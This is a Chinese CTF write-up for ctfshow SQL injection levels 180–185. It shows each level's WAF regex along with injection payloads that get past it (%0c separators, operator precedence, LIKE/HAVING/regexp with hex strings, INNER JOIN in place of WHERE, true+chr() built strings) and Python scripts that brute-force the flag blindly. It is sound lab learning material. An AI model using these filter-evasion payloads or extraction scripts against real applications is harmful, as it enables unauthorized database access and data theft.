ctfshow sql

180 过滤%23

%23被过滤,没办法注释了,还可以用'1'='1来闭合后边。

或者使用--%0c--

复制代码
1'%0corder%0cby%0c3--%0c--

1'%0cunion%0cselect%0c1,2,database()--%0c--

1'%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c--

1'%0cunion%0cselect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'--%0c--

1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user--%0c--

181 优先级

过滤了很多

复制代码
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

这里通过优先级进行绕过

复制代码
and > or 所以and会先执行
因为1 and 0 ====0
     
1 and 0 or 1  就会变为   0 or 1  =====1
     
所以我们可以根据这个特性绕过

-1'||username='flag

182 id查询

复制代码
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

因为flag被过滤了,所以不能用上面一题的

但是我们可以知道flag的id是26

-1'||id='26

183 构造where like绕过

的确很懵b

复制代码
查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

      

查询结果

//返回用户表的记录总数
      $user_count = 0;

tableName用post传参

我们知道当前表名叫做ctfshow_user

传参试试

sql = "select count(pass) from "._POST['tableName'].";";

放进sql查询,因为语句中没有where,我们要加上where子句

select count(pass) from "ctfshow_user" where pass = ctf#";

但是我们上面可以看到很多被过滤了,=也被过滤了,用like来绕过

看下like的模糊匹配

复制代码
(ctfshow_user)where(pass)like'ctf%'
ctf%匹配ctf开头
复制代码
import requests
import string
url="http://aa24dff0-c290-4c34-adf3-fa3279663bca.challenge.ctf.show/select-waf.php"
payload="(ctfshow_user)where(pass)like'ctfshow{0}%'"
flag=''

for i in range(1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(flag+j)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        if "$user_count = 1;" in r.text:
            flag+=j
            print(flag)

184

where、单双引号、反引号都被过滤了,但是没有过滤空格。

复制代码
查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      

查询结果

//返回用户表的记录总数
      $user_count = 0;

因为没有了单双引号,因此我们无法继续采用正则匹配。因此我们只能使用非字符串的方式来匹配。那么选择使用16进制来匹配。

where可以用having来绕过

看下我上篇写的having语句

复制代码
SELECT TABLE_NAME,sum(ORDINAL_POSITION) FROM `COLUMNS` GROUP BY TABLE_NAME HAVING sum(ORDINAL_POSITION)>30
 
查询两列,table_name,还有ordinal_position求和,用group by来组合两列,用having来限制条件

regexp 正则匹配

SQL学习笔记 -- REGEXP - 知乎

复制代码
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b)

ctfshow{的十六进制编码就是0x63746673686f777b

这里随便猜了一下,第一位是2

diff 复制代码
import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user group by pass having pass regexp(0x63746673686f777b{0})"
flag=''

def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x','') for c in str])  //replace()函数将十六进制字符串中的前缀"0x"替换为空字符串。
for i in range (1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(str_to_hex(flag+j))
        # print(payload1)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        # print(r.text)
        if "$user_count = 1;" in r.text:
            flag+=j
            print(flag)


uuid = string.ascii_lowercase+string.digits+"-{}"
这里的j字符串变量可以用这些函数
string.ascii_lowercase 是一个包含英文字母小写的字符串常量。
string.digits 是一个包含十进制数字(0-9)的字符串常量。

一直报不出来mmd又是过期了环境,重新开了一个

一开始搞不懂为什么要先进行ascii编码,然后直接试了一下,原来字符串不能直接进行hex十六进制编码

需要先取ASCII值,然后再hex

like

居然也可以用like 我还以为十六进制不行

but 发现只要like后面不加单引号,他也能匹配到

记住还有%,先进行编码一下

好了验证成功,我们来试一下payload

diff 复制代码
tableName=ctfshow_user group by pass having pass like (0x63746673686f777b25)

好了来修改脚本

diff 复制代码
import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user group by pass having pass like (0x63746673686f777b{0})"
flag=''

def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(str_to_hex(flag+j+'%'))
        # print(payload1)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        # print(r.text)
        if "$user_count = 1;" in r.text:
            flag+=j
            print(flag)

主要是%

INNER join on

SQL INNER JOIN 关键字 | 菜鸟教程

INNER join on可以绕过where

先在mysql里面试一下

payload

diff 复制代码
tableName=ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f7725

脚本

diff 复制代码
import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b{0}"
flag=''

def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(str_to_hex(flag+j+'%'))
        # print(payload1)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        # print(r.text)
        if "$user_count = 22;"  in r.text:
            flag+=j
            print(flag)

185 true代替数字,concat+chr代替引号

复制代码
查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      

查询结果

//返回用户表的记录总数
      $user_count = 0;

1、没有数字,我们需要构造出数字

查看该语言是否存在可以被识别成数字的关键字(true为1,false为0)

我们先在mysql里面尝试一下看看

SELECT true from information_Schema.columns

SELECT true+true from information_Schema.columns

SELECT char(true+true) from information_Schema.columns

把数字通过true来代替

复制代码
import requests
url="http://69d16b4e-5bb1-4d21-bb3b-217be0426d81.challenge.ctf.show/select-waf.php"
payload='ctfshow_user a inner join ctfshow_user b on b.pass like ()'
flag='ctfshow{'
def createNum(s):
    num = 'true'  //把数字定义为true
    if s == 1:
        return 'true'
    else:
        for i in range(s-1):
            num +='+true'
        return num  //数字为几就返回几个true


a=4
print(createNum(a))
复制代码
import requests
url="http://69d16b4e-5bb1-4d21-bb3b-217be0426d81.challenge.ctf.show/select-waf.php"
payload='ctfshow_user a inner join ctfshow_user b on b.pass like ()'
flag='ctfshow{'
def createNum(s):
    num = 'true'
    if s == 1:
        return 'true'
    else:
        for i in range(s-1):
            num +='+true'
        return num
def createStrNum(n):
    str=''
    str+="chr("+createNum(ord(n[0]))+")"  //第一个字符转为true格式 然后再加上chr 即可
    for i in n[1:]:
        str += ",chr(" + createNum(ord(i)) + ")"
    return str


a='4'
print(createStrNum(a))

4的ascii是52

简而言之,这两个函数实现的功能就是:

a=4

4的ascii码是52

那么第一个函数createNum(s)把数字转换成true字符串

第二个函数加上chr()

chr(true+true+.....+true)

这里还需要使用concat,使得 串在一起

复制代码
import string

import requests

url = 'http://087df77e-3225-4a02-b671-225d996908c5.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
flag = 'ctfshow{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
        return num


def createStrNum(c):
    str = ''
    str += 'chr(' + createNum(ord(c[0])) + ')'
    for i in c[1:]:
        str += ',chr(' + createNum(ord(i)) + ')'
    return str


uuid = string.ascii_lowercase + string.digits + "-{}"

for i in range(1, 50):
    for j in uuid:
        payload1 = payload.format(createStrNum(flag + j + "%"))
        # print(payload1)
        data = {
            'tableName': payload1
        }
        re = requests.post(url=url, data=data)
        if "$user_count = 0;" not in re.text:
            flag += j
            print(flag)
            if j == '}':
                exit()
            break
相关推荐
奔驰的小野码1 分钟前
MySQL8.x新特性:与mysql5.x的版本区别
数据库·mysql
逃逸线LOF3 分钟前
CSS之精灵图(雪碧图)Sprites、字体图标
前端·css
lml48565 分钟前
MySQL高可用
数据库·mysql
YUNYINGXIA7 分钟前
MySQL高可用
数据库·mysql
小芳矶25 分钟前
【全网首发】解决coze工作流批量上传excel数据文档数据重复的问题
数据库·oracle·excel
IvanCodes36 分钟前
MySQL 数据库备份与还原
大数据·数据库·sql·mysql
mahuifa1 小时前
ubuntu18.04编译qt5.14.2源码
开发语言·数据库·qt
海天胜景1 小时前
jqGrid冻结列错行问题,将冻结表格(悬浮表格)与 正常表格进行高度同步
前端
清风细雨_林木木2 小时前
解决 Tailwind CSS 代码冗余问题
前端·css
Freedom℡2 小时前
Spark,连接MySQL数据库,添加数据,读取数据
数据库·hadoop·spark